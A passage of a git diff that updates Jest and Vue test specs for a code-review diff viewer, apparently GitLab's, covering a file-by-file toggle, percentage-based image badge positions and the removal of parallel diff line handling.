- const wrapper = createWrapper({ props: { line: testLines[3] } });
+ const wrapper = createWrapper({ props: { line: testLines[3], inline: false } });
expect(wrapper.find(`[data-testid="${side}CommentButton"]`).exists()).toBe(true);
});
it('renders avatars', () => {
- const wrapper = createWrapper({ props: { line: testLines[0] } });
+ const wrapper = createWrapper({ props: { line: testLines[0], inline: false } });
expect(wrapper.find(`[data-testid="${side}Discussions"]`).exists()).toBe(true);
});
});
diff --git a/spec/frontend/diffs/components/image_diff_overlay_spec.js b/spec/frontend/diffs/components/image_diff_overlay_spec.js
index 5a88a3cabd1..087715111b4 100644
--- a/spec/frontend/diffs/components/image_diff_overlay_spec.js
+++ b/spec/frontend/diffs/components/image_diff_overlay_spec.js
@@ -24,6 +24,8 @@ describe('Diffs image diff overlay component', () => {
propsData: {
discussions: [...imageDiffDiscussions],
fileHash: 'ABC',
+ renderedWidth: 200,
+ renderedHeight: 200,
...props,
},
methods: {
@@ -71,8 +73,8 @@ describe('Diffs image diff overlay component', () => {
createComponent();
const imageBadges = getAllImageBadges();
- expect(imageBadges.at(0).attributes('style')).toBe('left: 10px; top: 10px;');
- expect(imageBadges.at(1).attributes('style')).toBe('left: 5px; top: 5px;');
+ expect(imageBadges.at(0).attributes('style')).toBe('left: 10%; top: 5%;');
+ expect(imageBadges.at(1).attributes('style')).toBe('left: 5%; top: 2.5%;');
});
it('renders single badge for discussion object', () => {
@@ -95,6 +97,8 @@ describe('Diffs image diff overlay component', () => {
y: 0,
width: 100,
height: 200,
+ xPercent: 0,
+ yPercent: 0,
});
});
@@ -120,11 +124,13 @@ describe('Diffs image diff overlay component', () => {
describe('comment form', () => {
const getCommentIndicator = () => wrapper.find('.comment-indicator');
beforeEach(() => {
- createComponent({}, store => {
+ createComponent({ canComment: true }, store => {
store.state.diffs.commentForms.push({
fileHash: 'ABC',
x: 20,
y: 10,
+ xPercent: 10,
+ yPercent: 10,
});
});
});
@@ -134,7 +140,7 @@ describe('Diffs image diff overlay component', () => {
});
it('sets comment form badge position', () => {
- expect(getCommentIndicator().attributes('style')).toBe('left: 20px; top: 10px;');
+ expect(getCommentIndicator().attributes('style')).toBe('left: 10%; top: 10%;');
});
});
});
diff --git a/spec/frontend/diffs/components/settings_dropdown_spec.js b/spec/frontend/diffs/components/settings_dropdown_spec.js
index 72330d8efba..eb9f9b4db73 100644
--- a/spec/frontend/diffs/components/settings_dropdown_spec.js
+++ b/spec/frontend/diffs/components/settings_dropdown_spec.js
@@ -2,12 +2,18 @@ import { mount, createLocalVue } from '@vue/test-utils';
import Vuex from 'vuex';
import diffModule from '~/diffs/store/modules';
import SettingsDropdown from '~/diffs/components/settings_dropdown.vue';
-import { PARALLEL_DIFF_VIEW_TYPE, INLINE_DIFF_VIEW_TYPE } from '~/diffs/constants';
+import {
+ EVT_VIEW_FILE_BY_FILE,
+ PARALLEL_DIFF_VIEW_TYPE,
+ INLINE_DIFF_VIEW_TYPE,
+} from '~/diffs/constants';
+import eventHub from '~/diffs/event_hub';
const localVue = createLocalVue();
localVue.use(Vuex);
describe('Diff settings dropdown component', () => {
+ let wrapper;
let vm;
let actions;
@@ -25,10 +31,15 @@ describe('Diff settings dropdown component', () => {
extendStore(store);
- vm = mount(SettingsDropdown, {
+ wrapper = mount(SettingsDropdown, {
localVue,
store,
});
+ vm = wrapper.vm;
+ }
+
+ function getFileByFileCheckbox(vueWrapper) {
+ return vueWrapper.find('[data-testid="file-by-file"]');
}
beforeEach(() => {
@@ -41,14 +52,14 @@ describe('Diff settings dropdown component', () => {
});
afterEach(() => {
- vm.destroy();
+ wrapper.destroy();
});
describe('tree view buttons', () => {
it('list view button dispatches setRenderTreeList with false', () => {
createComponent();
- vm.find('.js-list-view').trigger('click');
+ wrapper.find('.js-list-view').trigger('click');
expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), false);
});
@@ -56,7 +67,7 @@ describe('Diff settings dropdown component', () => {
it('tree view button dispatches setRenderTreeList with true', () => {
createComponent();
- vm.find('.js-tree-view').trigger('click');
+ wrapper.find('.js-tree-view').trigger('click');
expect(actions.setRenderTreeList).toHaveBeenCalledWith(expect.anything(), true);
});
@@ -68,8 +79,8 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('.js-list-view').classes('selected')).toBe(true);
- expect(vm.find('.js-tree-view').classes('selected')).toBe(false);
+ expect(wrapper.find('.js-list-view').classes('selected')).toBe(true);
+ expect(wrapper.find('.js-tree-view').classes('selected')).toBe(false);
});
it('sets tree button as selected when renderTreeList is true', () => {
@@ -79,8 +90,8 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('.js-list-view').classes('selected')).toBe(false);
- expect(vm.find('.js-tree-view').classes('selected')).toBe(true);
+ expect(wrapper.find('.js-list-view').classes('selected')).toBe(false);
+ expect(wrapper.find('.js-tree-view').classes('selected')).toBe(true);
});
});
@@ -92,8 +103,8 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('.js-inline-diff-button').classes('selected')).toBe(true);
- expect(vm.find('.js-parallel-diff-button').classes('selected')).toBe(false);
+ expect(wrapper.find('.js-inline-diff-button').classes('selected')).toBe(true);
+ expect(wrapper.find('.js-parallel-diff-button').classes('selected')).toBe(false);
});
it('sets parallel button as selected', () => {
@@ -103,14 +114,14 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('.js-inline-diff-button').classes('selected')).toBe(false);
- expect(vm.find('.js-parallel-diff-button').classes('selected')).toBe(true);
+ expect(wrapper.find('.js-inline-diff-button').classes('selected')).toBe(false);
+ expect(wrapper.find('.js-parallel-diff-button').classes('selected')).toBe(true);
});
it('calls setInlineDiffViewType when clicking inline button', () => {
createComponent();
- vm.find('.js-inline-diff-button').trigger('click');
+ wrapper.find('.js-inline-diff-button').trigger('click');
expect(actions.setInlineDiffViewType).toHaveBeenCalled();
});
@@ -118,7 +129,7 @@ describe('Diff settings dropdown component', () => {
it('calls setParallelDiffViewType when clicking parallel button', () => {
createComponent();
- vm.find('.js-parallel-diff-button').trigger('click');
+ wrapper.find('.js-parallel-diff-button').trigger('click');
expect(actions.setParallelDiffViewType).toHaveBeenCalled();
});
@@ -132,7 +143,7 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('#show-whitespace').element.checked).toBe(false);
+ expect(wrapper.find('#show-whitespace').element.checked).toBe(false);
});
it('sets as checked when showWhitespace is true', () => {
@@ -142,13 +153,13 @@ describe('Diff settings dropdown component', () => {
});
});
- expect(vm.find('#show-whitespace').element.checked).toBe(true);
+ expect(wrapper.find('#show-whitespace').element.checked).toBe(true);
});
it('calls setShowWhitespace on change', () => {
createComponent();
- const checkbox = vm.find('#show-whitespace');
+ const checkbox = wrapper.find('#show-whitespace');
checkbox.element.checked = true;
checkbox.trigger('change');
@@ -159,4 +170,52 @@ describe('Diff settings dropdown component', () => {
});
});
});
+
+ describe('file-by-file toggle', () => {
+ beforeEach(() => {
+ jest.spyOn(eventHub, '$emit');
+ });
+
+ it.each`
+ fileByFile | checked
+ ${true} | ${true}
+ ${false} | ${false}
+ `(
+ 'sets the checkbox to { checked: $checked } if the fileByFile setting is $fileByFile',
+ async ({ fileByFile, checked }) => {
+ createComponent(store => {
+ Object.assign(store.state.diffs, {
+ viewDiffsFileByFile: fileByFile,
+ });
+ });
+
+ await vm.$nextTick();
+
+ expect(getFileByFileCheckbox(wrapper).element.checked).toBe(checked);
+ },
+ );
+
+ it.each`
+ start | emit
+ ${true} | ${false}
+ ${false} | ${true}
+ `(
+ 'when the file by file setting starts as $start, toggling the checkbox should emit an event set to $emit',
+ async ({ start, emit }) => {
+ createComponent(store => {
+ Object.assign(store.state.diffs, {
+ viewDiffsFileByFile: start,
+ });
+ });
+
+ await vm.$nextTick();
+
+ getFileByFileCheckbox(wrapper).trigger('click');
+
+ await vm.$nextTick();
+
+ expect(eventHub.$emit).toHaveBeenCalledWith(EVT_VIEW_FILE_BY_FILE, { setting: emit });
+ },
+ );
+ });
});
diff --git a/spec/frontend/diffs/diff_file_spec.js b/spec/frontend/diffs/diff_file_spec.js
deleted file mode 100644
index 5d74760ef66..00000000000
--- a/spec/frontend/diffs/diff_file_spec.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import { prepareRawDiffFile } from '~/diffs/diff_file';
-
-const DIFF_FILES = [
- {
- file_hash: 'ABC', // This file is just a normal file
- },
- {
- file_hash: 'DEF', // This file replaces a symlink
- a_mode: '0',
- b_mode: '0755',
- },
- {
- file_hash: 'DEF', // This symlink is replaced by a file
- a_mode: '120000',
- b_mode: '0',
- },
- {
- file_hash: 'GHI', // This symlink replaces a file
- a_mode: '0',
- b_mode: '120000',
- },
- {
- file_hash: 'GHI', // This file is replaced by a symlink
- a_mode: '0755',
- b_mode: '0',
- },
-];
-
-function makeBrokenSymlinkObject(replaced, wasSymbolic, isSymbolic, wasReal, isReal) {
- return {
- replaced,
- wasSymbolic,
- isSymbolic,
- wasReal,
- isReal,
- };
-}
-
-describe('diff_file utilities', () => {
- describe('prepareRawDiffFile', () => {
- it.each`
- fileIndex | description | brokenSymlink
- ${0} | ${'a file that is not symlink-adjacent'} | ${false}
- ${1} | ${'a file that replaces a symlink'} | ${makeBrokenSymlinkObject(false, false, false, false, true)}
- ${2} | ${'a symlink that is replaced by a file'} | ${makeBrokenSymlinkObject(true, true, false, false, false)}
- ${3} | ${'a symlink that replaces a file'} | ${makeBrokenSymlinkObject(false, false, true, false, false)}
- ${4} | ${'a file that is replaced by a symlink'} | ${makeBrokenSymlinkObject(true, false, false, true, false)}
- `(
- 'properly marks $description with the correct .brokenSymlink value',
- ({ fileIndex, brokenSymlink }) => {
- const preppedRaw = prepareRawDiffFile({
- file: DIFF_FILES[fileIndex],
- allFiles: DIFF_FILES,
- });
-
- expect(preppedRaw.brokenSymlink).toStrictEqual(brokenSymlink);
- },
- );
- });
-});
diff --git a/spec/frontend/diffs/store/actions_spec.js b/spec/frontend/diffs/store/actions_spec.js
index 0af5ddd9764..fef7676e795 100644
--- a/spec/frontend/diffs/store/actions_spec.js
+++ b/spec/frontend/diffs/store/actions_spec.js
@@ -32,7 +32,7 @@ import {
setHighlightedRow,
toggleTreeOpen,
scrollToFile,
- toggleShowTreeList,
+ setShowTreeList,
renderFileForDiscussionId,
setRenderTreeList,
setShowWhitespace,
@@ -48,6 +48,7 @@ import {
moveToNeighboringCommit,
setCurrentDiffFileIdFromNote,
navigateToDiffFileIndex,
+ setFileByFile,
} from '~/diffs/store/actions';
import eventHub from '~/notes/event_hub';
import * as types from '~/diffs/store/mutation_types';
@@ -159,10 +160,10 @@ describe('DiffsStoreActions', () => {
.onGet(
mergeUrlParams(
{
- per_page: DIFFS_PER_PAGE,
w: '1',
view: 'inline',
page: 1,
+ per_page: DIFFS_PER_PAGE,
},
endpointBatch,
),
@@ -171,10 +172,10 @@ describe('DiffsStoreActions', () => {
.onGet(
mergeUrlParams(
{
- per_page: DIFFS_PER_PAGE,
w: '1',
view: 'inline',
page: 2,
+ per_page: DIFFS_PER_PAGE,
},
endpointBatch,
),
@@ -248,7 +249,7 @@ describe('DiffsStoreActions', () => {
{ type: types.SET_LOADING, payload: true },
{ type: types.SET_LOADING, payload: false },
{ type: types.SET_MERGE_REQUEST_DIFFS, payload: diffMetadata.merge_request_diffs },
- { type: types.SET_DIFF_DATA, payload: noFilesData },
+ { type: types.SET_DIFF_METADATA, payload: noFilesData },
],
[],
() => {
@@ -901,15 +902,22 @@ describe('DiffsStoreActions', () => {
});
});
- describe('toggleShowTreeList', () => {
+ describe('setShowTreeList', () => {
it('commits toggle', done => {
- testAction(toggleShowTreeList, null, {}, [{ type: types.TOGGLE_SHOW_TREE_LIST }], [], done);
+ testAction(
+ setShowTreeList,
+ { showTreeList: true },
+ {},
+ [{ type: types.SET_SHOW_TREE_LIST, payload: true }],
+ [],
+ done,
+ );
});
it('updates localStorage', () => {
jest.spyOn(localStorage, 'setItem').mockImplementation(() => {});
- toggleShowTreeList({ commit() {}, state: { showTreeList: true } });
+ setShowTreeList({ commit() {} }, { showTreeList: true });
expect(localStorage.setItem).toHaveBeenCalledWith('mr_tree_show', true);
});
@@ -917,7 +925,7 @@ describe('DiffsStoreActions', () => {
it('does not update localStorage', () => {
jest.spyOn(localStorage, 'setItem').mockImplementation(() => {});
- toggleShowTreeList({ commit() {}, state: { showTreeList: true } }, false);
+ setShowTreeList({ commit() {} }, { showTreeList: true, saving: false });
expect(localStorage.setItem).not.toHaveBeenCalled();
});
@@ -1236,10 +1244,6 @@ describe('DiffsStoreActions', () => {
{ diffViewType: 'inline' },
[
{
- type: 'SET_HIDDEN_VIEW_DIFF_FILE_LINES',
- payload: { filePath: 'path', lines: ['test'] },
- },
- {
type: 'SET_CURRENT_VIEW_DIFF_FILE_LINES',
payload: { filePath: 'path', lines: ['test'] },
},
@@ -1259,10 +1263,6 @@ describe('DiffsStoreActions', () => {
{ diffViewType: 'inline' },
[
{
- type: 'SET_HIDDEN_VIEW_DIFF_FILE_LINES',
- payload: { filePath: 'path', lines },
- },
- {
type: 'SET_CURRENT_VIEW_DIFF_FILE_LINES',
payload: { filePath: 'path', lines: lines.slice(0, 200) },
},
@@ -1456,4 +1456,20 @@ describe('DiffsStoreActions', () => {
);
});
});
+
+ describe('setFileByFile', () => {
+ it.each`
+ value
+ ${true}
+ ${false}
+ `('commits SET_FILE_BY_FILE with the new value $value', ({ value }) => {
+ return testAction(
+ setFileByFile,
+ { fileByFile: value },
+ { viewDiffsFileByFile: null },
+ [{ type: types.SET_FILE_BY_FILE, payload: value }],
+ [],
+ );
+ });
+ });
});
diff --git a/spec/frontend/diffs/store/mutations_spec.js b/spec/frontend/diffs/store/mutations_spec.js
index c0645faf89e..13e7cad835d 100644
--- a/spec/frontend/diffs/store/mutations_spec.js
+++ b/spec/frontend/diffs/store/mutations_spec.js
@@ -1,7 +1,7 @@
import createState from '~/diffs/store/modules/diff_state';
import mutations from '~/diffs/store/mutations';
import * as types from '~/diffs/store/mutation_types';
-import { INLINE_DIFF_VIEW_TYPE } from '~/diffs/constants';
+import { INLINE_DIFF_VIEW_TYPE, INLINE_DIFF_LINES_KEY } from '~/diffs/constants';
import diffFileMockData from '../mock_data/diff_file';
import * as utils from '~/diffs/store/utils';
@@ -67,28 +67,28 @@ describe('DiffsStoreMutations', () => {
});
});
- describe('SET_DIFF_DATA', () => {
- it('should not modify the existing state', () => {
+ describe('SET_DIFF_METADATA', () => {
+ it('should overwrite state with the camelCased data that is passed in', () => {
const state = {
- diffFiles: [
- {
- content_sha: diffFileMockData.content_sha,
- file_hash: diffFileMockData.file_hash,
- highlighted_diff_lines: [],
- },
- ],
+ diffFiles: [],
};
const diffMock = {
diff_files: [diffFileMockData],
};
+ const metaMock = {
+ other_key: 'value',
+ };
- mutations[types.SET_DIFF_DATA](state, diffMock);
+ mutations[types.SET_DIFF_METADATA](state, diffMock);
+ expect(state.diffFiles[0]).toEqual(diffFileMockData);
- expect(state.diffFiles[0].parallel_diff_lines).toBeUndefined();
+ mutations[types.SET_DIFF_METADATA](state, metaMock);
+ expect(state.diffFiles[0]).toEqual(diffFileMockData);
+ expect(state.otherKey).toEqual('value');
});
});
- describe('SET_DIFFSET_DIFF_DATA_BATCH_DATA', () => {
+ describe('SET_DIFF_DATA_BATCH_DATA', () => {
it('should set diff data batch type properly', () => {
const state = { diffFiles: [] };
const diffMock = {
@@ -97,9 +97,6 @@ describe('DiffsStoreMutations', () => {
mutations[types.SET_DIFF_DATA_BATCH](state, diffMock);
- const firstLine = state.diffFiles[0].parallel_diff_lines[0];
-
- expect(firstLine.right.text).toBeUndefined();
expect(state.diffFiles[0].renderIt).toEqual(true);
expect(state.diffFiles[0].collapsed).toEqual(false);
});
@@ -142,8 +139,7 @@ describe('DiffsStoreMutations', () => {
};
const diffFile = {
file_hash: options.fileHash,
- highlighted_diff_lines: [],
- parallel_diff_lines: [],
+ [INLINE_DIFF_LINES_KEY]: [],
};
const state = { diffFiles: [diffFile], diffViewType: 'viewType' };
const lines = [{ old_line: 1, new_line: 1 }];
@@ -171,9 +167,7 @@ describe('DiffsStoreMutations', () => {
);
expect(utils.addContextLines).toHaveBeenCalledWith({
- inlineLines: diffFile.highlighted_diff_lines,
- parallelLines: diffFile.parallel_diff_lines,
- diffViewType: 'viewType',
+ inlineLines: diffFile[INLINE_DIFF_LINES_KEY],
contextLines: options.contextLines,
bottom: options.params.bottom,
lineNumbers: options.lineNumbers,
@@ -225,19 +219,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [],
- },
- right: {
- line_code: 'ABC_2',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [],
@@ -267,12 +249,8 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].right.discussions).toEqual([]);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toEqual(1);
});
it('should not duplicate discussions on line', () => {
@@ -291,19 +269,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [],
- },
- right: {
- line_code: 'ABC_2',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [],
@@ -333,24 +299,16 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].right.discussions).toEqual([]);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toEqual(1);
mutations[types.SET_LINE_DISCUSSIONS_FOR_FILE](state, {
discussion,
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].right.discussions).toEqual([]);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toEqual(1);
});
it('updates existing discussion', () => {
@@ -369,19 +327,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [],
- },
- right: {
- line_code: 'ABC_2',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [],
@@ -411,12 +357,8 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].right.discussions).toEqual([]);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toEqual(1);
mutations[types.SET_LINE_DISCUSSIONS_FOR_FILE](state, {
discussion: {
@@ -427,11 +369,8 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].notes.length).toBe(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].notes.length).toBe(1);
-
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].resolved).toBe(true);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].resolved).toBe(true);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].notes.length).toBe(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].resolved).toBe(true);
});
it('should not duplicate inline diff discussions', () => {
@@ -450,7 +389,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [
@@ -472,7 +411,6 @@ describe('DiffsStoreMutations', () => {
discussions: [],
},
],
- parallel_diff_lines: [],
},
],
};
@@ -497,7 +435,7 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toBe(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toBe(1);
});
it('should add legacy discussions to the given line', () => {
@@ -517,19 +455,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [],
- },
- right: {
- line_code: 'ABC_1',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [],
@@ -557,11 +483,8 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toEqual(1);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toEqual(1);
});
it('should add discussions by line_codes and positions attributes', () => {
@@ -580,19 +503,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [],
- },
- right: {
- line_code: 'ABC_1',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [],
@@ -624,11 +535,8 @@ describe('DiffsStoreMutations', () => {
diffPositionByLineCode,
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions).toHaveLength(1);
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions[0].id).toBe(1);
-
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions).toHaveLength(1);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions[0].id).toBe(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions).toHaveLength(1);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions[0].id).toBe(1);
});
it('should add discussion to file', () => {
@@ -638,8 +546,7 @@ describe('DiffsStoreMutations', () => {
{
file_hash: 'ABC',
discussions: [],
- parallel_diff_lines: [],
- highlighted_diff_lines: [],
+ [INLINE_DIFF_LINES_KEY]: [],
},
],
};
@@ -668,30 +575,7 @@ describe('DiffsStoreMutations', () => {
diffFiles: [
{
file_hash: 'ABC',
- parallel_diff_lines: [
- {
- left: {
- line_code: 'ABC_1',
- discussions: [
- {
- id: 1,
- line_code: 'ABC_1',
- notes: [],
- },
- {
- id: 2,
- line_code: 'ABC_1',
- notes: [],
- },
- ],
- },
- right: {
- line_code: 'ABC_1',
- discussions: [],
- },
- },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{
line_code: 'ABC_1',
discussions: [
@@ -717,8 +601,7 @@ describe('DiffsStoreMutations', () => {
lineCode: 'ABC_1',
});
- expect(state.diffFiles[0].parallel_diff_lines[0].left.discussions.length).toEqual(0);
- expect(state.diffFiles[0].highlighted_diff_lines[0].discussions.length).toEqual(0);
+ expect(state.diffFiles[0][INLINE_DIFF_LINES_KEY][0].discussions.length).toEqual(0);
});
});
@@ -738,15 +621,11 @@ describe('DiffsStoreMutations', () => {
});
});
- describe('TOGGLE_SHOW_TREE_LIST', () => {
- it('toggles showTreeList', () => {
+ describe('SET_SHOW_TREE_LIST', () => {
+ it('sets showTreeList', () => {
const state = createState();
- mutations[types.TOGGLE_SHOW_TREE_LIST](state);
-
- expect(state.showTreeList).toBe(false, 'Failed to toggle showTreeList to false');
-
- mutations[types.TOGGLE_SHOW_TREE_LIST](state);
+ mutations[types.SET_SHOW_TREE_LIST](state, true);
expect(state.showTreeList).toBe(true, 'Failed to toggle showTreeList to true');
});
@@ -776,11 +655,7 @@ describe('DiffsStoreMutations', () => {
it('sets hasForm on lines', () => {
const file = {
file_hash: 'hash',
- parallel_diff_lines: [
- { left: { line_code: '123', hasForm: false }, right: {} },
- { left: {}, right: { line_code: '124', hasForm: false } },
- ],
- highlighted_diff_lines: [
+ [INLINE_DIFF_LINES_KEY]: [
{ line_code: '123', hasForm: false },
{ line_code: '124', hasForm: false },
],
@@ -795,11 +670,8 @@ describe('DiffsStoreMutations', () => {
fileHash: 'hash',
});
- expect(file.highlighted_diff_lines[0].hasForm).toBe(true);
- expect(file.highlighted_diff_lines[1].hasForm).toBe(false);
-
- expect(file.parallel_diff_lines[0].left.hasForm).toBe(true);
- expect(file.parallel_diff_lines[1].right.hasForm).toBe(false);
+ expect(file[INLINE_DIFF_LINES_KEY][0].hasForm).toBe(true);
+ expect(file[INLINE_DIFF_LINES_KEY][1].hasForm).toBe(false);
});
});
@@ -885,8 +757,7 @@ describe('DiffsStoreMutations', () => {
file_path: 'test',
isLoadingFullFile: true,
isShowingFullFile: false,
- highlighted_diff_lines: [],
- parallel_diff_lines: [],
+ [INLINE_DIFF_LINES_KEY]: [],
},
],
};
@@ -903,8 +774,7 @@ describe('DiffsStoreMutations', () => {
file_path: 'test',
isLoadingFullFile: true,
isShowingFullFile: false,
- highlighted_diff_lines: [],
- parallel_diff_lines: [],
+ [INLINE_DIFF_LINES_KEY]: [],
},
],
};
@@ -927,80 +797,42 @@ describe('DiffsStoreMutations', () => {
});
});
- describe('SET_HIDDEN_VIEW_DIFF_FILE_LINES', () => {
- [
- { current: 'highlighted', hidden: 'parallel', diffViewType: 'inline' },
- { current: 'parallel', hidden: 'highlighted', diffViewType: 'parallel' },
- ].forEach(({ current, hidden, diffViewType }) => {
- it(`sets the ${hidden} lines when diff view is ${diffViewType}`, () => {
- const file = { file_path: 'test', parallel_diff_lines: [], highlighted_diff_lines: [] };
- const state = {
- diffFiles: [file],
- diffViewType,
- };
-
- mutations[types.SET_HIDDEN_VIEW_DIFF_FILE_LINES](state, {
- filePath: 'test',
- lines: ['test'],
- });
-
- expect(file[`${current}_diff_lines`]).toEqual([]);
- expect(file[`${hidden}_diff_lines`]).toEqual(['test']);
- });
- });
- });
-
describe('SET_CURRENT_VIEW_DIFF_FILE_LINES', () => {
- [
- { current: 'highlighted', hidden: 'parallel', diffViewType: 'inline' },
- { current: 'parallel', hidden: 'highlighted', diffViewType: 'parallel' },
- ].forEach(({ current, hidden, diffViewType }) => {
- it(`sets the ${current} lines when diff view is ${diffViewType}`, () => {
- const file = { file_path: 'test', parallel_diff_lines: [], highlighted_diff_lines: [] };
- const state = {
- diffFiles: [file],
- diffViewType,
- };
-
- mutations[types.SET_CURRENT_VIEW_DIFF_FILE_LINES](state, {
- filePath: 'test',
- lines: ['test'],
- });
-
- expect(file[`${current}_diff_lines`]).toEqual(['test']);
- expect(file[`${hidden}_diff_lines`]).toEqual([]);
+ it(`sets the highlighted lines`, () => {
+ const file = { file_path: 'test', [INLINE_DIFF_LINES_KEY]: [] };
+ const state = {
+ diffFiles: [file],
+ };
+
+ mutations[types.SET_CURRENT_VIEW_DIFF_FILE_LINES](state, {
+ filePath: 'test',
+ lines: ['test'],
});
+
+ expect(file[INLINE_DIFF_LINES_KEY]).toEqual(['test']);
});
});
describe('ADD_CURRENT_VIEW_DIFF_FILE_LINES', () => {
- [
- { current: 'highlighted', hidden: 'parallel', diffViewType: 'inline' },
- { current: 'parallel', hidden: 'highlighted', diffViewType: 'parallel' },
- ].forEach(({ current, hidden, diffViewType }) => {
- it(`pushes to ${current} lines when diff view is ${diffViewType}`, () => {
- const file = { file_path: 'test', parallel_diff_lines: [], highlighted_diff_lines: [] };
- const state = {
- diffFiles: [file],
- diffViewType,
- };
-
